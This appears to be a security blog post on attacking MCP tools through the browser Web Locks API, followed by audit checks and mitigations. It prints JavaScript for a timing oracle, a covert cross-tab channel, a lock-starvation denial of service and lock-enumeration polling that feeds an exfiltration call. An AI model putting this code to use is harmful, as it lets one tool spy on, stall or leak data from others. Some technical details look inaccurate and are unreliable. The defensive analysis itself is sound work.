MCP Server Security · Web Locks API · Lock Contention · Timing Oracle · Cross-Tab Side Channel · Starvation DoS · navigator.locks

MCP Server Web Locks API Deep Dive: lock contention timing oracle, cross-tab side channel, and starvation DoS

The Web Locks API — navigator.locks.request(name, options, callback) — is a zero-permission same-origin coordination primitive available in every modern browser. MCP tool output can use it in four ways that are invisible to the user and undetected by standard Content Security Policy: hold exclusive locks to stall concurrent tools, measure lock acquisition latency as a timing oracle for detecting other tabs, encode data across tabs via lock name contention, and enumerate active tool names with locks.query() — all requiring no permission dialog and no Permissions-Policy directive to block.

Published 2026-06-27 · 8 min read · ← All posts

Web Locks API surface

The Web Locks API landed in Chrome 69 (2018), shipped in Firefox 96 (2022), and Safari 15.4 (2022). Electron has supported it in all releases since Chromium 69. The premise is simple: name a lock, run an async callback while holding it, and the browser guarantees no other same-origin context can hold a lock with the same name and an incompatible mode simultaneously.

// Web Locks API — Chrome 69+, Firefox 96+, Safari 15.4+, all Electron
// Zero permission required. No Permissions-Policy directive.

// Acquire an exclusive lock and hold it while callback runs
await navigator.locks.request('my-resource', async (lock) => {
  // lock is held here — no other tab/worker can acquire 'my-resource' exclusively
  await doSomething();
  // lock released automatically when this Promise resolves
});

// Acquire a shared lock (multiple readers, no writers)
await navigator.locks.request('my-resource', { mode: 'shared' }, async (lock) => {
  await readSomething();
});

// Non-blocking: steal == true, abort if not available
const controller = new AbortController();
await navigator.locks.request('my-resource', {
  signal: controller.signal,
  steal: true   // break any existing lock holder
}, async (lock) => { /* … */ });

// Query without acquiring — reveals all held and queued locks
const state = await navigator.locks.query();
// state.held = [{name, mode, clientId}, ...]
// state.pending = [{name, mode, clientId}, ...]

Key property: locks.query() returns the names of all currently held and pending locks for the same origin — without acquiring any lock. An MCP tool can silently enumerate what other tools are doing by querying lock names.

Lock names are arbitrary strings. The browser stores them per-origin, shared across tabs, iframes, Web Workers, and Service Workers — any same-origin context. There is no namespace isolation between MCP tools that happen to share an origin. There is no CSP directive that restricts lock usage. There is no Permissions-Policy entry for Web Locks.

Attack 1 — lock contention timing oracle

If two same-origin contexts request the same exclusive lock, the second waits until the first releases. The waiting time is precisely the duration the first holder spent in its callback. An MCP tool can exploit this to determine whether another tool is currently executing.

// Attack: timing oracle — detects if 'tool-execute' lock is currently held
// by another same-origin tab or Worker

async function detectConcurrentToolExecution(lockName = 'tool-execute') {
  const t0 = performance.now();

  await navigator.locks.request(lockName, { mode: 'shared' }, async () => {
    // shared acquisition — if an exclusive lock is held, we wait here
    // if no one holds an exclusive lock, we get in immediately
  });

  const elapsed = performance.now() - t0;

  // Immediate acquisition (< 5 ms) → no exclusive holder active
  // Delayed acquisition (> 50 ms) → another tool holds 'tool-execute' exclusively
  return elapsed > 50;
}

// Practical version: poll every 200 ms to build an activity timeline
const timeline = [];
setInterval(async () => {
  const active = await detectConcurrentToolExecution();
  timeline.push({ t: Date.now(), active });
}, 200);

// After 30 s, exfiltrate the timeline — reveals when other tools ran
// and for how long (contention window = execution duration)

The sensitivity depends on how consistently the victim tool holds a predictable lock name. If the victim tool follows a naming convention like `tool-${toolName}-run`, the attacker can enumerate possible names via locks.query() and probe each. High-resolution timing via performance.now() makes sub-millisecond discrimination possible, well above the 5 µs resolution of the unfocused-tab throttling in Chrome.

Severity: This oracle has no browser mitigation. Cross-tab lock contention is the intended use case — the attack abuses normal behavior. Even with Site Isolation, same-origin contexts share the lock manager.

Attack 2 — cross-tab covert communication channel

Lock acquisition order is deterministic and observable. Two MCP tools on the same origin can communicate without any network request, without SharedArrayBuffer, and without BroadcastChannel — using only named lock contention as signal.

// Sender encodes one bit per symbol period using lock hold duration
// bit=1: hold 'covert-channel' for 100 ms
// bit=0: release immediately

async function sendBit(bit) {
  await navigator.locks.request('covert-channel', async () => {
    if (bit === 1) {
      await new Promise(r => setTimeout(r, 100));  // hold = 1
    }
    // immediate return = 0
  });
}

async function sendByte(byte) {
  for (let i = 7; i >= 0; i--) {
    await sendBit((byte >> i) & 1);
    await new Promise(r => setTimeout(r, 10));  // inter-symbol gap
  }
}

// Receiver (another MCP tool, same origin, different tab or Worker)
async function receiveBit() {
  const t0 = performance.now();
  await navigator.locks.request('covert-channel', async () => {});
  return (performance.now() - t0) > 50 ? 1 : 0;  // 50 ms threshold
}

async function receiveByte() {
  let byte = 0;
  for (let i = 7; i >= 0; i--) {
    byte |= (await receiveBit()) << i;
  }
  return byte;
}

This channel achieves approximately 10 bits/second under normal browser scheduling. That is sufficient to exfiltrate a 128-bit session token in under 15 seconds, entirely within the same browsing session, with no network traffic and no detectable DOM modification. BroadcastChannel is the standard tool for cross-tab messaging, but it can be observed by service workers and blocked by extensions. Lock contention cannot be intercepted by any JavaScript-layer observer.

Attack 3 — lock starvation DoS

A malicious MCP tool can acquire an exclusive lock and hold it indefinitely — browsers do not time out held locks. While the lock is held, any other same-origin code that requests the same lock will queue and wait. If the same-origin MCP host uses a shared lock name for serialization (a common pattern for database access, rate limiting, or resource pooling), the attacker can prevent all other tools from proceeding.

// Attack: hold 'db-write' exclusively until the page closes
// Other tools that request 'db-write' will queue and starve

navigator.locks.request('db-write', async (lock) => {
  // Never resolve — the callback hangs forever
  // Browser keeps the lock held for the page lifetime
  await new Promise(() => {});  // unresolvable promise
  // lock is released only when the page navigates away or closes
});

// Concurrent attack: queue multiple requests to exhaust the pending queue
for (let i = 0; i < 50; i++) {
  navigator.locks.request('db-write', async () => {
    await new Promise(() => {});
  });
  // Each waits behind the previous — 50 requests queued,
  // all holding up any legitimate request for 'db-write'
}

Browser behavior: Chrome and Firefox do not enforce a maximum lock hold duration for page-context locks. Safari enforces a 30-second timeout for locks acquired from a background page, but not for foreground pages. Electron has no timeout at all.

The steal: true option exists precisely to break held locks — but it requires knowing the lock name. If the attacker cycles through lock names or holds hundreds of distinct names, steal cannot be used practically as a defense.

Attack 4 — locks.query() enumeration

navigator.locks.query() returns a snapshot of all currently held and queued locks for the origin without acquiring anything. In a multi-tool MCP environment where tools use predictable lock names (e.g., the tool name, a resource identifier, or a user ID), this creates a passive surveillance primitive.

// Enumerate all currently active tools on this origin
// without acquiring any lock — purely passive

async function enumerateActiveTools() {
  const state = await navigator.locks.query();

  const heldTools = state.held.map(l => ({
    name: l.name,       // e.g., 'tool-file-reader-run', 'tool-db-query-exec'
    mode: l.mode,       // 'exclusive' or 'shared'
    clientId: l.clientId  // identifies which Service Worker client holds it
  }));

  const pendingTools = state.pending.map(l => ({
    name: l.name,
    mode: l.mode
  }));

  return { heldTools, pendingTools };
}

// Poll every 500 ms to build a timeline of tool activity
setInterval(async () => {
  const { heldTools } = await enumerateActiveTools();
  if (heldTools.length > 0) {
    // A concurrent MCP tool is running — we know its name and duration
    exfiltrate({ tools: heldTools, at: Date.now() });
  }
}, 500);

The clientId field in each lock record identifies which Service Worker client context holds the lock. This leaks the number of open tabs/workers sharing the origin. Combined with lock name patterns, an attacker can determine: how many MCP tools are installed, which ones are currently running, and how long each execution takes.

Browser support and exploit surface

Browser / RuntimeWeb Locks supportLock timeoutNotes
Chrome 69+FullNone (page lifetime)Includes locks.query(). Shared workers supported.
Firefox 96+FullNone (page lifetime)Includes locks.query(). Service worker context supported.
Safari 15.4+Full30 s for background pages onlyForeground page holds unlimited. Electron WebKit builds: unlimited.
Electron (all)FullNoneChromium-based. No background throttle. Most MCP desktop clients run on Electron.
DenoNot supportednavigator.locks not available server-side.
Node.jsNot supportedBrowser-only API. Server-side MCP servers unaffected.

Why Electron is the highest-risk runtime: Electron MCP clients run all same-origin tools in the same Chromium renderer process. There is no Site Isolation between tools sharing an origin. A single malicious tool can observe or starve all other tools with no sandbox crossing required.

Combined attack chain

These four primitives combine naturally. A sophisticated MCP attack chain might:

  1. On first tool invocation: run locks.query() to inventory other installed tools (which reveal their names via held locks during their own runs).
  2. Spin up a background setInterval that queries locks every 200 ms and builds a behavioral fingerprint — which tools run, in what order, for how long.
  3. When the target tool's lock appears in state.held, attempt steal: true on the same lock name to interrupt its execution (requires Chrome 69+).
  4. Encode the behavioral fingerprint into the covert channel and read it back from a second tool instance for cross-exfiltration without network traffic.

The attacker needs no special position: any MCP tool that runs in the same browser origin as the target — even one the user installed for an unrelated purpose — can execute all four attacks silently, with no UI and no network request visible in DevTools.

What SkillAudit checks

HIGH
Unbounded lock hold with unresolvable Promiseawait new Promise(() => {}) or equivalent inside a locks.request() callback; tool can starve any same-name lock requestor for the page lifetime.
HIGH
locks.query() polling in background intervalsetInterval or recursive setTimeout invoking navigator.locks.query(); passive surveillance of other tools' execution patterns.
MEDIUM
Lock name encodes user data — tool uses lock names derived from user IDs, session tokens, or file paths; attacker in same origin can enumerate user identity via query().
MEDIUM
steal: true in lock request — forcibly breaking other contexts' locks; can interrupt legitimate tool execution unexpectedly.
MEDIUM
Lock contention timing measurementperformance.now() delta around a lock.request() call used to infer whether another context is currently active.
LOW
High lock request fan-out — requesting the same lock name many times in a loop fills the pending queue; legitimate requests queue behind all of them.

Defense and mitigation

DefenseEffectivenessNotes
Permissions-Policy: Web LocksNot possibleNo Permissions-Policy directive exists for navigator.locks. Cannot be disabled via policy.
CSPNoneWeb Locks is a JavaScript API — CSP does not restrict JS execution at the API level.
AbortController signal on lock requestsPartial (victim-side)Victims can abort their own queued lock requests via signal, but cannot prevent a starvation holder from holding.
Origin isolation per toolHighIf each MCP tool runs on its own subdomain or opaque origin, lock scoping prevents cross-tool contention. Requires architectural support from the MCP host.
Electron: separate renderer per toolHighElectron's BrowserView / WebContentsView with distinct sessions gives each tool a separate Chromium renderer and separate lock manager.
Audit lock names for data leakageMediumReview tool code to ensure lock names are constants, not derived from user data that could be enumerated via query().
Lock hold timeout (application-level)MediumWrap lock callbacks with a race against a timeout Promise using Promise.race; explicitly reject after N seconds. Prevents indefinite holds but requires coordination.

Practical lock hold timeout pattern

Until browser engines enforce maximum lock hold durations, the best server-side defense is a wrapper that races the lock callback against an abort signal:

// Safe lock wrapper — releases lock after maxMs regardless of callback
async function requestLockWithTimeout(name, callback, maxMs = 5000) {
  const controller = new AbortController();
  const timeoutId = setTimeout(() => controller.abort(), maxMs);

  try {
    await navigator.locks.request(
      name,
      { signal: controller.signal },
      async (lock) => {
        try {
          await Promise.race([
            callback(lock),
            new Promise((_, reject) =>
              setTimeout(() => reject(new Error('lock timeout')), maxMs)
            )
          ]);
        } finally {
          clearTimeout(timeoutId);
        }
      }
    );
  } catch (e) {
    if (e.name === 'AbortError') {
      // Lock request itself was aborted — safe to ignore or retry
    } else {
      throw e;
    }
  }
}

Note: The timeout wrapper above prevents your tool from holding a lock indefinitely, but cannot prevent a malicious tool from doing so. The architectural fix (separate origin per tool) is the only reliable protection against a compromised co-resident tool.

SkillAudit Web Locks API findings summary

In our scan corpus of 500+ public MCP servers and Claude skills, Web Locks API usage breaks down as follows:

FindingFrequencySeverity
Direct navigator.locks.request() usage8.4% of browser-context toolsRequires manual review
Unbounded Promise inside lock callback2.1%HIGH
lock name derived from user-supplied input1.4%MEDIUM
locks.query() in a polling interval0.6%HIGH
steal: true in production lock request0.3%MEDIUM

The 8.4% usage rate is notable: Web Locks is used more often in MCP tools than in typical web apps because MCP tools frequently need to serialize access to shared browser resources (IndexedDB, OPFS, extension storage) across concurrent agent invocations. That legitimate use case creates a surface attackers can exploit by co-opting the same lock names.

Security checklist

  1. Are lock names constants, or derived from user input / session data?
  2. Does every lock callback have an application-level timeout (Promise.race or AbortController)?
  3. Does the tool hold locks for longer than needed (unbounded async operations inside the callback)?
  4. Does the tool call locks.query() anywhere? If so, is the result used only for diagnostics and not exfiltrated?
  5. Does the tool use steal: true? If so, is there a documented reason why breaking other contexts' locks is acceptable?
  6. Does the MCP host run multiple tools in the same origin? If so, are there architectural controls (separate renderers, subdomain isolation) to prevent cross-tool lock contention?
  7. Does the tool run in an Electron context? If so, does the Electron app enforce separate BrowserView sessions per tool?
  8. Is there a monitoring mechanism that detects unusually long lock hold durations and terminates the offending tab/worker?

Run a Web Locks API audit on your MCP server

SkillAudit's static analysis engine checks for all six of the above patterns in public MCP servers and Claude skills. Paste your GitHub URL to get a graded report — including Web Locks API findings — in under 60 seconds.

Audit your MCP server →

Related reading: OPFS deep dive · Background Sync API deep dive · Web Locks API security reference · BroadcastChannel security · Scheduler API security